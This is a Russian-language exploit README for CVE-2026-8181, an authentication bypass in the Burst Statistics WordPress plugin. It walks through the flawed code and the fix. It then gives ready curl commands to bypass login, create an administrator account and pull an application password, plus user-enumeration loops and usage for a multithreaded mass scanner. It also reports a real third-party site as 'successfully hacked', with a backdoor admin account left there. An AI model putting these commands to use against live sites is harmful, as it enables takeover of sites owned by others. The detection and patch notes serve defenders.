
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Неаутентифицированный обход аутентификации до захвата учетной записи администратора | Доказательство концепции
| Пункт | Подробности |
|---|
| CVE ID | CVE-2026-8181 |
| Плагин | Burst Statistics – WordPress-аналитика, уважающая конфиденциальность |
| Затронутые версии | 3.4.0 – 3.4.1.1 |
| Исправленная версия | 3.4.2 |
| Оценка CVSS | 9.8 (Critical) |
| Тип | CWE-287: Improper Authentication |
| Вектор атаки | Network / Remote / Unauthenticated |
| Активные установки | ~200,000+ |
| Обнаружили | PRISM, Wordfence Threat Intelligence |
| Дата публикации | 8 мая 2026 |
Критическая уязвимость обхода аутентификации в плагине Burst Statistics для WordPress версий с 3.4.0 по 3.4.1.1 позволяет неавторизованному злоумышленнику получить полный доступ администратора WordPress, зная только имя пользователя администратора. Последствия — полный захват учетной записи администратора, включая создание новых учетных записей, изменение контента и установку вредоносных плагинов.
Уязвимость находится в методе is_mainwp_authenticated() в файле includes/Frontend/class-mainwp-proxy.php:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
Основная ошибка: wp_authenticate_application_password(null, $username, $password) возвращает null (не WP_Error), когда Application Passwords недоступны. Это происходит на:
wp_is_application_passwords_available() возвращает falseis_ssl() возвращает falseПоскольку is_wp_error(null) = false, код продолжает выполнение до get_user_by('login', $username), который аутентифицирует только по имени пользователя без какой-либо проверки пароля.
Метод has_admin_access() вызывается при хуке plugins_loaded (приоритет 9) в class-burst.php на строке 118:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
Этот хук выполняется ДО обработки маршрутов REST API, поэтому wp_set_current_user() предоставляет права администратора для ВСЕГО запроса — а не только для конечных точек Burst.
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Базовое сканирование
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Создать новую учетную запись администратора
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# С пользовательским именем
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
Интерактивный режим:
.txt, один домен на строку)Формат targets.txt:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Шаг 1: Проверка обхода аутентификации
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Шаг 2: Создать новую учетную запись администратора
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Шаг 3: Получить пароль приложения (постоянные учетные данные)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Метод 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Метод 2: Запасной маршрут
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Метод 3: Перечисление авторов
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
Тестирование проводилось на WordPress 6.9 с Burst Statistics 3.4.1.1 (localhost):
| Тест | Результат | Доказательство |
|---|---|---|
Доступ к /wp/v2/users/me без аутентификации | НЕУДАЧА | rest_not_logged_in |
| Доступ с заголовками обхода | УСПЕШНО | Профиль администратора + email + роли |
| Создание новой учетной записи администратора | УСПЕШНО | User ID 2, роль: administrator |
| Чтение настроек WordPress | УСПЕШНО | Название сайта, email администратора, URL |
| Получение пароля приложения | УСПЕШНО | Токен Base64 admin:password |
| Список установленных плагинов | УСПЕШНО | Полный список с версиями |
| Цель | Результат |
|---|---|
ausdermitte-binz.de | УСПЕШНО ВЗЛОМАН — Burst 3.4.1.1, обход через binzwpadmin, создана учетная запись xenon1337 (ID:30) |
Исправление в версии 3.4.2 устраняет несколько проблем:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option()wp_application_passwords в метаданных пользователя)X-BURSTMAINWP: 1 с внешних IPwp_users на наличие новых учетных записей администратораwp_options на наличие transient burst_mainwp_app_token_*| Файл | Описание |
|---|---|
exploit_CVE-2026-8181.py | PoC эксплойт для одиночной цели |
poc_CVE-2026-8181.py | Массовый сканер для нескольких целей с многопоточностью |
README.md | Данная документация |
Данный инструмент и документация предназначены только для законного тестирования безопасности с явного разрешения. Использование без авторизации против систем, которые вам не принадлежат или без письменного разрешения, является незаконным. Авторы не несут ответственности за неправомерное использование.